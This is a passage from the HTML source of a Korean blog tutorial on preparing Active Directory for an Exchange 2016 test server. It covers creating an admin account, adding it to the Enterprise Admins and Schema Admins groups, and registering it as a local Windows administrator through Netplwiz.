srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKh2pY%2Fbtrd0yI2s4o%2FL55mVAur15BaAuvNOLwXFk%2Fimg.png&quot; data-origin-width=&quot;755&quot; data-origin-height=&quot;533&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;353&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Organizational Unit 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 OU에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리용 계정을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로 생성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;529&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;350&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgfnq9/btrdQtC2r2L/4taOX7qtFSP8e8pqM9ohQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgfnq9/btrdQtC2r2L/4taOX7qtFSP8e8pqM9ohQ0/img.png&quot; data-alt=&quot;생성된 OU에 관리용 계정 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgfnq9/btrdQtC2r2L/4taOX7qtFSP8e8pqM9ohQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcgfnq9%2FbtrdQtC2r2L%2F4taOX7qtFSP8e8pqM9ohQ0%2Fimg.png&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;529&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;350&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;생성된 OU에 관리용 계정 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정의 Password를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지정하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성을 마칩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;User must change password at next logon&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;을 체크&lt;/b&gt;하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성한 계정으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초 로그인 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호를 바꾸도록 해야 하지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;테스트 서버인 지금은&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;귀찮아서....&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;785&quot; data-filename=&quot;5.png&quot; width=&quot;438&quot; height=&quot;785&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c82lEJ/btrdVjfbGZH/woJWe75XGo3dpWtn2EbOwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c82lEJ/btrdVjfbGZH/woJWe75XGo3dpWtn2EbOwk/img.png&quot; data-alt=&quot;관리자 계정 Password 설정 및 계정 생성 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c82lEJ/btrdVjfbGZH/woJWe75XGo3dpWtn2EbOwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc82lEJ%2FbtrdVjfbGZH%2FwoJWe75XGo3dpWtn2EbOwk%2Fimg.png&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;785&quot; data-filename=&quot;5.png&quot; width=&quot;438&quot; height=&quot;785&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;관리자 계정 Password 설정 및 계정 생성 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 생성 규칙에 의해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오류가 날 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전한 비밀번호로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정해주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;383&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;342&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lEE2j/btrdU76MPdF/A8zUjJyXhQ4m3h10iPYWvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lEE2j/btrdU76MPdF/A8zUjJyXhQ4m3h10iPYWvk/img.png&quot; data-alt=&quot;안전한 Password 설정하세요.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lEE2j/btrdU76MPdF/A8zUjJyXhQ4m3h10iPYWvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlEE2j%2FbtrdU76MPdF%2FA8zUjJyXhQ4m3h10iPYWvk%2Fimg.png&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;383&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;342&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;안전한 Password 설정하세요.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;권한 부여&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 계정에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한을 부여합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;부여할 권한:&lt;br /&gt;&lt;b&gt;- Enterprise Admins: 조직의 첫 번째 Exchange 2016 서버인 경우에 필요&lt;br /&gt;&lt;/b&gt;+&lt;br /&gt;&lt;b&gt;- Schema Admins: Active Directory 스키마를 준비한 적이 없으면 필요&lt;br /&gt;&lt;/b&gt;or&lt;br /&gt;&lt;b&gt;- Exchange 조직 역할 그룹 구성원: Active Directory 스키마를 이미 준비했거나,&lt;br /&gt;&amp;nbsp; 다른 Exchange 서버가 조직에 이미 있는 경우에 필요&lt;br /&gt;&lt;/b&gt;&amp;nbsp; (이미 있는 AD에 Join)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 AD 서버에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음으로 Exchange 2016 서버를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구성하므로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Enterprise Admins와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Schema Admins 권한을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성한 계정에 부여합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;권한 부여:&lt;br /&gt;&lt;b&gt;- Active Directory Users and Computers &amp;gt; 계정 우클릭&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Properties &amp;gt; Member Of &amp;gt; Add&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; 권한 추가(Enterprise Admins, Schema Admins)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; OK &amp;gt; 재부팅&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정의 속성창에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한을 추가합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;538&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;355&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/68isE/btrd0kYHqKQ/1pt7Gmbjjnu8OeZF1SbvTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/68isE/btrd0kYHqKQ/1pt7Gmbjjnu8OeZF1SbvTk/img.png&quot; data-alt=&quot;계정 속성창 실행 - 권한 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/68isE/btrd0kYHqKQ/1pt7Gmbjjnu8OeZF1SbvTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F68isE%2Fbtrd0kYHqKQ%2F1pt7Gmbjjnu8OeZF1SbvTk%2Fimg.png&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;538&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;355&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;계정 속성창 실행 - 권한 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Enterprise Admins,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Schema Admins 권한을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;540&quot; data-filename=&quot;8.png&quot; width=&quot;485&quot; height=&quot;540&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bekRaE/btrd0veJZbG/KnWWnaMY7TKLCQoDDWUmwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bekRaE/btrd0veJZbG/KnWWnaMY7TKLCQoDDWUmwk/img.png&quot; data-alt=&quot;권한 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bekRaE/btrd0veJZbG/KnWWnaMY7TKLCQoDDWUmwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbekRaE%2Fbtrd0veJZbG%2FKnWWnaMY7TKLCQoDDWUmwk%2Fimg.png&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;540&quot; data-filename=&quot;8.png&quot; width=&quot;485&quot; height=&quot;540&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;권한 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅은 작업이 끝날 때마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꼬박꼬박 해줍니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;관리용 윈도우 계정 생성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD에 Exchange 관리용 계정을 생성했으니,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD에 등록된 계정으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우 서버에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인할 수 있도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정을&amp;nbsp;추가해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;윈도우 계정 추가:&lt;br /&gt;&lt;b&gt;- Netplwiz 실행(C:\Windows\System32\Netplwiz.exe)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Add &amp;gt; Browse... &amp;gt; 생성한 AD 계정 입력 &amp;gt; Check Name&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; OK &amp;gt; Next &amp;gt; Administartor &amp;gt; Next &amp;gt; Finish &amp;gt; OK&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정을 추가하는 방법은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netplwiz.exe를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 실행하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정을 추가했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;594&quot; width=&quot;500&quot; height=&quot;378&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Uy7ZM/btrd03PLDuo/4w5w6qW6bjlLwpc1Lz9nyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Uy7ZM/btrd03PLDuo/4w5w6qW6bjlLwpc1Lz9nyK/img.png&quot; data-alt=&quot;Netplwiz.exe 실행 - Add&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Uy7ZM/btrd03PLDuo/4w5w6qW6bjlLwpc1Lz9nyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUy7ZM%2Fbtrd03PLDuo%2F4w5w6qW6bjlLwpc1Lz9nyK%2Fimg.png&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;594&quot; width=&quot;500&quot; height=&quot;378&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Netplwiz.exe 실행 - Add&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Browse를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD 계정을 불러옵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부분만 입력한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Check Names를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 불러올 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;501&quot; width=&quot;500&quot; height=&quot;408&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LIv7i/btrdZW4WueZ/3Pq6Huld20iunsRnRqRcU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LIv7i/btrdZW4WueZ/3Pq6Huld20iunsRnRqRcU0/img.png&quot; data-alt=&quot;AD 계정 Browse&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LIv7i/btrdZW4WueZ/3Pq6Huld20iunsRnRqRcU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLIv7i%2FbtrdZW4WueZ%2F3Pq6Huld20iunsRnRqRcU0%2Fimg.png&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;501&quot; width=&quot;500&quot; height=&quot;408&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AD 계정 Browse&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동 입력된 계정을 확인하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 넘어 갑니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;476&quot; width=&quot;500&quot; height=&quot;388&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KCvZ9/btrdV7lAH7b/8nXT0eesKTiWkkktbHUbVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KCvZ9/btrdV7lAH7b/8nXT0eesKTiWkkktbHUbVK/img.png&quot; data-alt=&quot;계정 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KCvZ9/btrdV7lAH7b/8nXT0eesKTiWkkktbHUbVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKCvZ9%2FbtrdV7lAH7b%2F8nXT0eesKTiWkkktbHUbVK%2Fimg.png&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;476&quot; width=&quot;500&quot; height=&quot;388&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;계정 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 권한(Administrator)를 선택한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;476&quot; width=&quot;500&quot; height=&quot;385&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkP5G5/btrd0uty444/mkGoQV0KwRJmsG1IoLpH3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkP5G5/btrd0uty444/mkGoQV0KwRJmsG1IoLpH3K/img.png&quot; data-alt=&quot;Administrator 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkP5G5/btrd0uty444/mkGoQV0KwRJmsG1IoLpH3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkP5G5%2Fbtrd0uty444%2FmkGoQV0KwRJmsG1IoLpH3K%2Fimg.png&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;476&quot; width=&quot;500&quot; height=&quot;385&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Administrator 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finish&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;472&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;383&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNhGFa/btrdVjNneNp/YxLGtO67kygL7TxDsTJhqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNhGFa/btrdVjNneNp/YxLGtO67kygL7TxDsTJhqk/img.png&quot; data-alt=&quot;계정 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNhGFa/btrdVjNneNp/YxLGtO67kygL7TxDsTJhqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNhGFa%2FbtrdVjNneNp%2FYxLGtO67kygL7TxDsTJhqk%2Fimg.png&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;472&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;383&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;계정 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 생성 완료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;464&quot; data-origin-height=&quot;511&quot; data-filename=&quot;6.png&quot; width=&quot;464&quot; height=&quot;511&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cynviy/btrdUEqGf4G/HNepyxxkwMODCoHAkPth3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cynviy/btrdUEqGf4G/HNepyxxkwMODCoHAkPth3k/img.png&quot; data-alt=&quot;계정 생성 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cynviy/btrdUEqGf4G/HNepyxxkwMODCoHAkPth3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcynviy%2FbtrdUEqGf4G%2FHNepyxxkwMODCoHAkPth3k%2Fimg.png&quot; data-origin-width=&quot;464&quot; data-origin-height=&quot;511&quot; data-filename=&quot;6.png&quot; 